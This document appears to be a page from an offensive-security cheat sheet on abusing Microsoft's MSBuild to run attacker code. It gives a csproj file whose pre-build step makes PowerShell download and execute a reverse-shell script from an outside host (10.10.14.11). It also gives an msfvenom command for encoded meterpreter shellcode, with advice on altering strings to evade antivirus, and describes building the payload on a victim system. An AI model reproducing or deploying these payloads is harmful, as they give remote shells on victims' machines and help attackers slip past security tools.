MSBuild
Theory
The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but MSBuild doesn't depend on Visual Studio. By invoking msbuild.exe or dotnet build on your project or solution file, you can orchestrate and build products in environments where Visual Studio isn't installed.
We can execute code with help of MsBuild.exe by providing a .xml or .csproj file
Practice
Build and execute a C# project stored in the target csproj file.
msbuild.exe project.csprojYou may want to look at Powershell without Powershell.exe to convert ps1 scripts to .csporj file.
We may use the following csproj file to execute commands
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="Shell" BeforeTargets="Build">
<Exec Command="powershell.exe -c iex(iwr -UseBasicParsing http://10.10.14.11:8080/rev.ps1)" />
</Target>
</Project>
Otherwise, you may generate a shellcode using msvfenom in csharp output format
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f csharp -e x86/shikata_ga_nai -i <num of iterations> > project.csprojPut the buffer into the template (be sure to change payload buffer, buffer size and some strings for av evasion:
Generate meterpreter shellode in c#:
Insert shellcode into the shellcode variable in linne 46:
Build and execute malicious payload on the victim system using MSBuild:
Resources
Last updated
Was this helpful?